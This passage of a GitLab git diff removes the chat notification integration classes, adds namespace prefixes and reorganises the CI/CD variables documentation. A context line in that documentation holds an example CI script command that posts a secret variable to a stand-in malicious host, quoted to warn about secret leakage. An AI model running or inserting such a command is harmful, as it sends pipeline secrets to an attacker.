-# This class is not meant to be used directly, but only to inherit from.
-class ChatNotificationService < Integration
- include ChatMessage
- include NotificationBranchSelection
-
- SUPPORTED_EVENTS = %w[
- push issue confidential_issue merge_request note confidential_note
- tag_push pipeline wiki_page deployment
- ].freeze
-
- SUPPORTED_EVENTS_FOR_LABEL_FILTER = %w[issue confidential_issue merge_request note confidential_note].freeze
-
- EVENT_CHANNEL = proc { |event| "#{event}_channel" }
-
- LABEL_NOTIFICATION_BEHAVIOURS = [
- MATCH_ANY_LABEL = 'match_any',
- MATCH_ALL_LABELS = 'match_all'
- ].freeze
-
- default_value_for :category, 'chat'
-
- prop_accessor :webhook, :username, :channel, :branches_to_be_notified, :labels_to_be_notified, :labels_to_be_notified_behavior
-
- # Custom serialized properties initialization
- prop_accessor(*SUPPORTED_EVENTS.map { |event| EVENT_CHANNEL[event] })
-
- boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch
-
- validates :webhook, presence: true, public_url: true, if: :activated?
- validates :labels_to_be_notified_behavior, inclusion: { in: LABEL_NOTIFICATION_BEHAVIOURS }, allow_blank: true
-
- def initialize_properties
- if properties.nil?
- self.properties = {}
- self.notify_only_broken_pipelines = true
- self.branches_to_be_notified = "default"
- self.labels_to_be_notified_behavior = MATCH_ANY_LABEL
- elsif !self.notify_only_default_branch.nil?
- # In older versions, there was only a boolean property named
- # `notify_only_default_branch`. Now we have a string property named
- # `branches_to_be_notified`. Instead of doing a background migration, we
- # opted to set a value for the new property based on the old one, if
- # users hasn't specified one already. When users edit the service and
- # selects a value for this new property, it will override everything.
-
- self.branches_to_be_notified ||= notify_only_default_branch? ? "default" : "all"
- end
- end
-
- def confidential_issue_channel
- properties['confidential_issue_channel'].presence || properties['issue_channel']
- end
-
- def confidential_note_channel
- properties['confidential_note_channel'].presence || properties['note_channel']
- end
-
- def self.supported_events
- SUPPORTED_EVENTS
- end
-
- def fields
- default_fields + build_event_channels
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}", required: true }.freeze,
- { type: 'text', name: 'username', placeholder: 'GitLab-integration' }.freeze,
- { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'Do not send notifications for successful pipelines.' }.freeze,
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }.freeze,
- {
- type: 'text',
- name: 'labels_to_be_notified',
- placeholder: '~backend,~frontend',
- help: 'Send notifications for issue, merge request, and comment events with the listed labels only. Leave blank to receive notifications for all events.'
- }.freeze,
- {
- type: 'select',
- name: 'labels_to_be_notified_behavior',
- choices: [
- ['Match any of the labels', MATCH_ANY_LABEL],
- ['Match all of the labels', MATCH_ALL_LABELS]
- ]
- }.freeze
- ].freeze
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- return unless webhook.present?
-
- object_kind = data[:object_kind]
-
- data = custom_data(data)
-
- return unless notify_label?(data)
-
- # WebHook events often have an 'update' event that follows a 'open' or
- # 'close' action. Ignore update events for now to prevent duplicate
- # messages from arriving.
-
- message = get_message(object_kind, data)
-
- return false unless message
-
- event_type = data[:event_type] || object_kind
-
- channel_names = get_channel_field(event_type).presence || channel.presence
- channels = channel_names&.split(',')&.map(&:strip)
-
- opts = {}
- opts[:channel] = channels if channels.present?
- opts[:username] = username if username
-
- if notify(message, opts)
- log_usage(event_type, user_id_from_hook_data(data))
- return true
- end
-
- false
- end
-
- def event_channel_names
- supported_events.map { |event| event_channel_name(event) }
- end
-
- def event_field(event)
- fields.find { |field| field[:name] == event_channel_name(event) }
- end
-
- def global_fields
- fields.reject { |field| field[:name].end_with?('channel') }
- end
-
- def default_channel_placeholder
- raise NotImplementedError
- end
-
- private
-
- def log_usage(_, _)
- # Implement in child class
- end
-
- def labels_to_be_notified_list
- return [] if labels_to_be_notified.nil?
-
- labels_to_be_notified.delete('~').split(',').map(&:strip)
- end
-
- def notify_label?(data)
- return true unless SUPPORTED_EVENTS_FOR_LABEL_FILTER.include?(data[:object_kind]) && labels_to_be_notified.present?
-
- labels = data[:labels] || data.dig(:issue, :labels) || data.dig(:merge_request, :labels) || data.dig(:object_attributes, :labels)
-
- return false if labels.blank?
-
- matching_labels = labels_to_be_notified_list & labels.pluck(:title)
-
- if labels_to_be_notified_behavior == MATCH_ALL_LABELS
- labels_to_be_notified_list.difference(matching_labels).empty?
- else
- matching_labels.any?
- end
- end
-
- def user_id_from_hook_data(data)
- data.dig(:user, :id) || data[:user_id]
- end
-
- # every notifier must implement this independently
- def notify(message, opts)
- raise NotImplementedError
- end
-
- def custom_data(data)
- data.merge(project_url: project_url, project_name: project_name).with_indifferent_access
- end
-
- def get_message(object_kind, data)
- case object_kind
- when "push", "tag_push"
- Integrations::ChatMessage::PushMessage.new(data) if notify_for_ref?(data)
- when "issue"
- Integrations::ChatMessage::IssueMessage.new(data) unless update?(data)
- when "merge_request"
- Integrations::ChatMessage::MergeMessage.new(data) unless update?(data)
- when "note"
- Integrations::ChatMessage::NoteMessage.new(data)
- when "pipeline"
- Integrations::ChatMessage::PipelineMessage.new(data) if should_pipeline_be_notified?(data)
- when "wiki_page"
- Integrations::ChatMessage::WikiPageMessage.new(data)
- when "deployment"
- Integrations::ChatMessage::DeploymentMessage.new(data)
- end
- end
-
- def get_channel_field(event)
- field_name = event_channel_name(event)
- self.public_send(field_name) # rubocop:disable GitlabSecurity/PublicSend
- end
-
- def build_event_channels
- supported_events.reduce([]) do |channels, event|
- channels << { type: 'text', name: event_channel_name(event), placeholder: default_channel_placeholder }
- end
- end
-
- def event_channel_name(event)
- EVENT_CHANNEL[event]
- end
-
- def project_name
- project.full_name
- end
-
- def project_url
- project.web_url
- end
-
- def update?(data)
- data[:object_attributes][:action] == 'update'
- end
-
- def should_pipeline_be_notified?(data)
- notify_for_ref?(data) && notify_for_pipeline?(data)
- end
-
- def notify_for_ref?(data)
- return true if data[:object_kind] == 'tag_push'
- return true if data.dig(:object_attributes, :tag)
-
- notify_for_branch?(data)
- end
-
- def notify_for_pipeline?(data)
- case data[:object_attributes][:status]
- when 'success'
- !notify_only_broken_pipelines?
- when 'failed'
- true
- else
- false
- end
- end
-end
diff --git a/app/models/project_services/discord_service.rb b/app/models/project_services/discord_service.rb
deleted file mode 100644
index d7adf63fde4..00000000000
--- a/app/models/project_services/discord_service.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# frozen_string_literal: true
-
-require "discordrb/webhooks"
-
-class DiscordService < ChatNotificationService
- include ActionView::Helpers::UrlHelper
-
- ATTACHMENT_REGEX = /: (?<entry>.*?)\n - (?<name>.*)\n*/.freeze
-
- def title
- s_("DiscordService|Discord Notifications")
- end
-
- def description
- s_("DiscordService|Send notifications about project events to a Discord channel.")
- end
-
- def self.to_param
- "discord"
- end
-
- def help
- docs_link = link_to _('How do I set up this service?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/discord_notifications'), target: '_blank', rel: 'noopener noreferrer'
- s_('Send notifications about project events to a Discord channel. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def event_field(event)
- # No-op.
- end
-
- def default_channel_placeholder
- # No-op.
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: "text", name: "webhook", placeholder: "https://discordapp.com/api/webhooks/…", help: "URL to the webhook for the Discord channel." },
- { type: "checkbox", name: "notify_only_broken_pipelines" },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- client = Discordrb::Webhooks::Client.new(url: webhook)
-
- client.execute do |builder|
- builder.add_embed do |embed|
- embed.author = Discordrb::Webhooks::EmbedAuthor.new(name: message.user_name, icon_url: message.user_avatar)
- embed.description = (message.pretext + "\n" + Array.wrap(message.attachments).join("\n")).gsub(ATTACHMENT_REGEX, " \\k<entry> - \\k<name>\n")
- end
- end
- rescue RestClient::Exception => error
- log_error(error.message)
- false
- end
-
- def custom_data(data)
- super(data).merge(markdown: true)
- end
-end
diff --git a/app/models/project_services/hangouts_chat_service.rb b/app/models/project_services/hangouts_chat_service.rb
deleted file mode 100644
index 6e7708a169f..00000000000
--- a/app/models/project_services/hangouts_chat_service.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-# frozen_string_literal: true
-
-require 'hangouts_chat'
-
-class HangoutsChatService < ChatNotificationService
- include ActionView::Helpers::UrlHelper
-
- def title
- 'Google Chat'
- end
-
- def description
- 'Send notifications from GitLab to a room in Google Chat.'
- end
-
- def self.to_param
- 'hangouts_chat'
- end
-
- def help
- docs_link = link_to _('How do I set up a Google Chat webhook?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/hangouts_chat'), target: '_blank', rel: 'noopener noreferrer'
- s_('Before enabling this integration, create a webhook for the room in Google Chat where you want to receive notifications from this project. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def event_field(event)
- end
-
- def default_channel_placeholder
- end
-
- def webhook_placeholder
- 'https://chat.googleapis.com/v1/spaces…'
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
- { type: 'checkbox', name: 'notify_only_broken_pipelines' },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- simple_text = parse_simple_text_message(message)
- HangoutsChat::Sender.new(webhook).simple(simple_text)
- end
-
- def parse_simple_text_message(message)
- header = message.pretext
- return header if message.attachments.empty?
-
- attachment = message.attachments.first
- title = format_attachment_title(attachment)
- body = attachment[:text]
-
- [header, title, body].compact.join("\n")
- end
-
- def format_attachment_title(attachment)
- return attachment[:title] unless attachment[:title_link]
-
- "<#{attachment[:title_link]}|#{attachment[:title]}>"
- end
-end
diff --git a/app/models/project_services/mattermost_service.rb b/app/models/project_services/mattermost_service.rb
deleted file mode 100644
index 732a7c32a03..00000000000
--- a/app/models/project_services/mattermost_service.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-class MattermostService < ChatNotificationService
- include SlackMattermost::Notifier
- include ActionView::Helpers::UrlHelper
-
- def title
- s_('Mattermost notifications')
- end
-
- def description
- s_('Send notifications about project events to Mattermost channels.')
- end
-
- def self.to_param
- 'mattermost'
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/mattermost'), target: '_blank', rel: 'noopener noreferrer'
- s_('Send notifications about project events to Mattermost channels. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def default_channel_placeholder
- 'my-channel'
- end
-
- def webhook_placeholder
- 'http://mattermost.example.com/hooks/'
- end
-end
diff --git a/app/models/project_services/mattermost_slash_commands_service.rb b/app/models/project_services/mattermost_slash_commands_service.rb
index 60235a09dcd..5ee57aa3737 100644
--- a/app/models/project_services/mattermost_slash_commands_service.rb
+++ b/app/models/project_services/mattermost_slash_commands_service.rb
@@ -22,17 +22,17 @@ class MattermostSlashCommandsService < SlashCommandsService
end
def configure(user, params)
- token = Mattermost::Command.new(user)
+ token = ::Mattermost::Command.new(user)
.create(command(params))
update(active: true, token: token) if token
- rescue Mattermost::Error => e
+ rescue ::Mattermost::Error => e
[false, e.message]
end
def list_teams(current_user)
- [Mattermost::Team.new(current_user).all, nil]
- rescue Mattermost::Error => e
+ [::Mattermost::Team.new(current_user).all, nil]
+ rescue ::Mattermost::Error => e
[[], e.message]
end
diff --git a/app/models/project_services/microsoft_teams_service.rb b/app/models/project_services/microsoft_teams_service.rb
deleted file mode 100644
index 1d2067067da..00000000000
--- a/app/models/project_services/microsoft_teams_service.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-class MicrosoftTeamsService < ChatNotificationService
- def title
- 'Microsoft Teams notifications'
- end
-
- def description
- 'Send notifications about project events to Microsoft Teams.'
- end
-
- def self.to_param
- 'microsoft_teams'
- end
-
- def help
- '<p>Use this service to send notifications about events in GitLab projects to your Microsoft Teams channels. <a href="https://docs.gitlab.com/ee/user/project/integrations/microsoft_teams.html">How do I configure this integration?</a></p>'
- end
-
- def webhook_placeholder
- 'https://outlook.office.com/webhook/…'
- end
-
- def event_field(event)
- end
-
- def default_channel_placeholder
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
- { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'If selected, successful pipelines do not trigger a notification event.' },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- MicrosoftTeams::Notifier.new(webhook).ping(
- title: message.project_name,
- summary: message.summary,
- activity: message.activity,
- attachments: message.attachments
- )
- end
-
- def custom_data(data)
- super(data).merge(markdown: true)
- end
-end
diff --git a/app/models/project_services/slack_mattermost/notifier.rb b/app/models/project_services/slack_mattermost/notifier.rb
index 1a78cea5933..ae7ae02b8f0 100644
--- a/app/models/project_services/slack_mattermost/notifier.rb
+++ b/app/models/project_services/slack_mattermost/notifier.rb
@@ -6,7 +6,7 @@ module SlackMattermost
def notify(message, opts)
# See https://gitlab.com/gitlab-org/slack-notifier/#custom-http-client
- notifier = Slack::Messenger.new(webhook, opts.merge(http_client: HTTPClient))
+ notifier = ::Slack::Messenger.new(webhook, opts.merge(http_client: HTTPClient))
notifier.ping(
message.pretext,
attachments: message.attachments,
diff --git a/app/models/project_services/slack_service.rb b/app/models/project_services/slack_service.rb
deleted file mode 100644
index 92a46f8d01f..00000000000
--- a/app/models/project_services/slack_service.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-class SlackService < ChatNotificationService
- include SlackMattermost::Notifier
- extend ::Gitlab::Utils::Override
-
- SUPPORTED_EVENTS_FOR_USAGE_LOG = %w[
- push issue confidential_issue merge_request note confidential_note
- tag_push wiki_page deployment
- ].freeze
-
- prop_accessor EVENT_CHANNEL['alert']
-
- def title
- 'Slack notifications'
- end
-
- def description
- 'Send notifications about project events to Slack.'
- end
-
- def self.to_param
- 'slack'
- end
-
- def default_channel_placeholder
- _('general, development')
- end
-
- def webhook_placeholder
- 'https://hooks.slack.com/services/…'
- end
-
- def supported_events
- additional = []
- additional << 'alert'
-
- super + additional
- end
-
- def get_message(object_kind, data)
- return Integrations::ChatMessage::AlertMessage.new(data) if object_kind == 'alert'
-
- super
- end
-
- override :log_usage
- def log_usage(event, user_id)
- return unless user_id
-
- return unless SUPPORTED_EVENTS_FOR_USAGE_LOG.include?(event)
-
- key = "i_ecosystem_slack_service_#{event}_notification"
-
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(key, values: user_id)
- end
-end
diff --git a/app/models/project_services/slack_slash_commands_service.rb b/app/models/project_services/slack_slash_commands_service.rb
index 548f3623504..652742c1710 100644
--- a/app/models/project_services/slack_slash_commands_service.rb
+++ b/app/models/project_services/slack_slash_commands_service.rb
@@ -29,6 +29,6 @@ class SlackSlashCommandsService < SlashCommandsService
private
def format(text)
- Slack::Messenger::Util::LinkFormatter.format(text) if text
+ ::Slack::Messenger::Util::LinkFormatter.format(text) if text
end
end
diff --git a/app/models/project_services/unify_circuit_service.rb b/app/models/project_services/unify_circuit_service.rb
deleted file mode 100644
index 5f43388e1c9..00000000000
--- a/app/models/project_services/unify_circuit_service.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# frozen_string_literal: true
-
-class UnifyCircuitService < ChatNotificationService
- def title
- 'Unify Circuit'
- end
-
- def description
- s_('Integrations|Send notifications about project events to Unify Circuit.')
- end
-
- def self.to_param
- 'unify_circuit'
- end
-
- def help
- 'This service sends notifications about projects events to a Unify Circuit conversation.<br />
- To set up this service:
- <ol>
- <li><a href="https://www.circuit.com/unifyportalfaqdetail?articleId=164448">Set up an incoming webhook for your conversation</a>. All notifications will come to this conversation.</li>
- <li>Paste the <strong>Webhook URL</strong> into the field below.</li>
- <li>Select events below to enable notifications.</li>
- </ol>'
- end
-
- def event_field(event)
- end
-
- def default_channel_placeholder
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "e.g. https://circuit.com/rest/v2/webhooks/incoming/…", required: true },
- { type: 'checkbox', name: 'notify_only_broken_pipelines' },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- response = Gitlab::HTTP.post(webhook, body: {
- subject: message.project_name,
- text: message.summary,
- markdown: true
- }.to_json)
-
- response if response.success?
- end
-
- def custom_data(data)
- super(data).merge(markdown: true)
- end
-end
diff --git a/app/models/project_services/webex_teams_service.rb b/app/models/project_services/webex_teams_service.rb
deleted file mode 100644
index 3d92d3bb85e..00000000000
--- a/app/models/project_services/webex_teams_service.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-# frozen_string_literal: true
-
-class WebexTeamsService < ChatNotificationService
- include ActionView::Helpers::UrlHelper
-
- def title
- s_("WebexTeamsService|Webex Teams")
- end
-
- def description
- s_("WebexTeamsService|Send notifications about project events to Webex Teams.")
- end
-
- def self.to_param
- 'webex_teams'
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/webex_teams'), target: '_blank', rel: 'noopener noreferrer'
- s_("WebexTeamsService|Send notifications about project events to a Webex Teams conversation. %{docs_link}") % { docs_link: docs_link.html_safe }
- end
-
- def event_field(event)
- end
-
- def default_channel_placeholder
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "https://api.ciscospark.com/v1/webhooks/incoming/...", required: true },
- { type: 'checkbox', name: 'notify_only_broken_pipelines' },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- header = { 'Content-Type' => 'application/json' }
- response = Gitlab::HTTP.post(webhook, headers: header, body: { markdown: message.summary }.to_json)
-
- response if response.success?
- end
-
- def custom_data(data)
- super(data).merge(markdown: true)
- end
-end
diff --git a/app/services/groups/create_service.rb b/app/services/groups/create_service.rb
index 8e8efe7d555..f900927793a 100644
--- a/app/services/groups/create_service.rb
+++ b/app/services/groups/create_service.rb
@@ -28,7 +28,7 @@ module Groups
@group.name ||= @group.path.dup
if create_chat_team?
- response = Mattermost::CreateTeamService.new(@group, current_user).execute
+ response = ::Mattermost::CreateTeamService.new(@group, current_user).execute
return @group if @group.errors.any?
@group.build_chat_team(name: response['name'], team_id: response['id'])
diff --git a/app/services/mattermost/create_team_service.rb b/app/services/mattermost/create_team_service.rb
index 2cbcaaad5e1..9f6efab1e43 100644
--- a/app/services/mattermost/create_team_service.rb
+++ b/app/services/mattermost/create_team_service.rb
@@ -9,8 +9,8 @@ module Mattermost
def execute
# The user that creates the team will be Team Admin
- Mattermost::Team.new(current_user).create(@group.mattermost_team_params)
- rescue Mattermost::ClientError => e
+ ::Mattermost::Team.new(current_user).create(@group.mattermost_team_params)
+ rescue ::Mattermost::ClientError => e
@group.errors.add(:mattermost_team, e.message)
end
end
diff --git a/app/views/admin/application_settings/ci/_header.html.haml b/app/views/admin/application_settings/ci/_header.html.haml
index 919f501d2ee..40486e9a9e6 100644
--- a/app/views/admin/application_settings/ci/_header.html.haml
+++ b/app/views/admin/application_settings/ci/_header.html.haml
@@ -8,7 +8,7 @@
%p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
- = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul
diff --git a/config/initializers/hangouts_chat_http_override.rb b/config/initializers/hangouts_chat_http_override.rb
index edb31ed53f1..42ffb6f78e1 100644
--- a/config/initializers/hangouts_chat_http_override.rb
+++ b/config/initializers/hangouts_chat_http_override.rb
@@ -1,28 +1,3 @@
# frozen_string_literal: true
-module HangoutsChat
- class Sender
- class HTTP
- module GitlabHTTPOverride
- extend ::Gitlab::Utils::Override
-
- attr_reader :uri
-
- # see https://github.com/enzinia/hangouts-chat/blob/6a509f61a56e757f8f417578b393b94423831ff7/lib/hangouts_chat/http.rb
- override :post
- def post(payload)
- httparty_response = Gitlab::HTTP.post(
- uri,
- body: payload.to_json,
- headers: { 'Content-Type' => 'application/json' },
- parse: nil # disables automatic response parsing
- )
- httparty_response.response
- # The rest of the integration expects a Net::HTTP response
- end
- end
-
- prepend GitlabHTTPOverride
- end
- end
-end
+HangoutsChat::Sender::HTTP.prepend(Gitlab::Patch::HangoutsChatHTTPOverride)
diff --git a/doc/api/lint.md b/doc/api/lint.md
index 9593952c1c5..57d11d15adc 100644
--- a/doc/api/lint.md
+++ b/doc/api/lint.md
@@ -118,7 +118,7 @@ Example response:
{
"status": "valid",
"errors": [],
- "merged_config": "---\n:another_test:\n :stage: test\n :script: echo 2\n:test:\n :stage: test\n :script: echo 1\n"
+ "merged_yaml": "---\n:another_test:\n :stage: test\n :script: echo 2\n:test:\n :stage: test\n :script: echo 1\n"
}
```
diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md
index 53aeec21199..91ed56e2c9d 100644
--- a/doc/ci/migration/circleci.md
+++ b/doc/ci/migration/circleci.md
@@ -265,7 +265,7 @@ test_async:
## Contexts and variables
-CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
+CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs
diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md
index a0e15b4e960..8afe8c784f3 100644
--- a/doc/ci/services/gitlab.md
+++ b/doc/ci/services/gitlab.md
@@ -25,7 +25,7 @@ tests access to the GitLab API.
```
1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`,
- [assign them to a variable in the user interface](../variables/README.md#project-cicd-variables).
+ [assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project).
Then assign that variable to the corresponding variable in your
`.gitlab-ci.yml` file.
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md
index 7e5786b5e17..a4b0f88d294 100644
--- a/doc/ci/variables/README.md
+++ b/doc/ci/variables/README.md
@@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to:
You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
-- [Project CI/CD variables](#project-cicd-variables).
-- [Group CI/CD variables](#group-cicd-variables).
-- [Instance CI/CD variables](#instance-cicd-variables).
+- [Project CI/CD variables](#add-a-cicd-variable-to-a-project).
+- [Group CI/CD variables](#add-a-cicd-variable-to-a-group).
+- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance).
> For more information about advanced use of GitLab CI/CD:
>
@@ -56,10 +56,10 @@ You can create custom CI/CD variables:
- For a project:
- [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- - [In the project's settings](#project-cicd-variables).
+ - [In the project's settings](#add-a-cicd-variable-to-a-project).
- [With the API](../../api/project_level_variables.md).
-- For all projects in a group [in the group's setting](#group-cicd-variables).
-- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables).
+- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
+- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
@@ -123,7 +123,7 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua
keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
-### Project CI/CD variables
+### Add a CI/CD variable to a project
You can add CI/CD variables to a project's settings. Only project members with the
[Maintainer role](../../user/permissions.md#project-members-permissions)
@@ -138,7 +138,7 @@ To add or update variables in the project settings:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope**: `All`, or specific [environments](../environments/index.md).
+ - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md).
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked
@@ -161,10 +161,9 @@ The output is:
![Output custom variable](img/custom_variables_output.png)
-### Group CI/CD variables
+### Add a CI/CD variable to a group
-> - Introduced in GitLab 9.4.
-> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
+> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
@@ -181,14 +180,16 @@ To add a group variable:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
+ - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
-To view the group-level variables available in a project:
+#### View all group-level variables available in a project
+
+To view all the group-level variables available in a project:
1. In the project, go to **Settings > CI/CD**.
1. Expand the **Variables** section.
@@ -198,7 +199,7 @@ inherited.
![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-### Instance CI/CD variables
+### Add a CI/CD variable to an instance
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
@@ -337,6 +338,10 @@ build:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
+Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
+and stored in the database. This data can only be read and decrypted with a
+valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
+
### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
@@ -392,9 +397,9 @@ job_name:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
```
-### Windows Batch
+### Use variables with Windows Batch
-To access environment variables in Windows Batch, surround the variable
+To access CI/CD variables in Windows Batch, surround the variable
with `%`:
```yaml
@@ -544,8 +549,8 @@ The order of precedence for variables is (from highest to lowest):
[scheduled pipeline variables](../pipelines/schedules.md#using-variables),
and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
1. Project [variables](#custom-cicd-variables).
-1. Group [variables](#group-cicd-variables).
-1. Instance [variables](#instance-cicd-variables).
+1. Group [variables](#add-a-cicd-variable-to-a-group).
+1. Instance [variables](#add-a-cicd-variable-to-an-instance).
1. [Inherited variables](#pass-an-environment-variable-to-another-job).
1. Variables defined in jobs in the `.gitlab-ci.yml` file.
1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
diff --git a/doc/security/README.md b/doc/security/README.md
index 83073a4951c..848ced87a3a 100644
--- a/doc/security/README.md
+++ b/doc/security/README.md
@@ -23,7 +23,7 @@ type: index
- [Send email confirmation on sign-up](user_email_confirmation.md)
- [Security of running jobs](https://docs.gitlab.com/runner/security/)
- [Proxying images](asset_proxy.md)
-- [CI/CD variables](cicd_variables.md)
+- [CI/CD variables](../ci/variables/README.md#cicd-variable-security)
- [Token overview](token_overview.md)
- [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md)
diff --git a/doc/security/cicd_variables.md b/doc/security/cicd_variables.md
index 22185727878..b429b1435be 100644
--- a/doc/security/cicd_variables.md
+++ b/doc/security/cicd_variables.md
@@ -1,13 +1,9 @@
---
-stage: Verify
-group: Pipeline Authoring
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../ci/variables/README.md#cicd-variable-security'
+remove_date: '2021-07-04'
---
-# CI/CD variables **(FREE)**
+This document was moved to [another location](../ci/variables/README.md#cicd-variable-security).
-CI/CD variables are applied to environments via the runner and can be set from the project's **Settings > CI/CD** page.
-
-The values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database.
-
